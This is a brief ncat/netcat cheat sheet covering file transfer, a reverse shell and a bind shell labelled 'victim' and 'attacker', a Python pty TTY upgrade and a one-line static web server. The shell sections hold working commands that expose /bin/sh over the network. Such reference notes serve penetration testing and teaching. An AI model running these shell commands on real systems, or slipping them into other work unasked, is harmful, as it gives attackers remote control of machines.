ncat


File Transfer

cat file | ncat --send-only 127.0.0.1 1234      # sender
nc -v -l -q 1 -p 1234 > file                    # receiver

Reverse Shell

ncat -e /bin/sh 127.0.0.1 1234                  # victim
ncat -l -k -v -p 1234                           # attacker

Bind Shell

ncat -l -k -v -e /bin/sh -p 1234                # victim
ncat 127.0.0.1 1234                             # attacker

Get a TTY with Python

python -c 'import pty; pty.spawn("/bin/sh")'

Static Website

index.html:

HTTP/1.1 200 OK

<html><body><h1>Hello World!</h1></body></html>

server: while true ; do nc -l 8080 < index.html ; done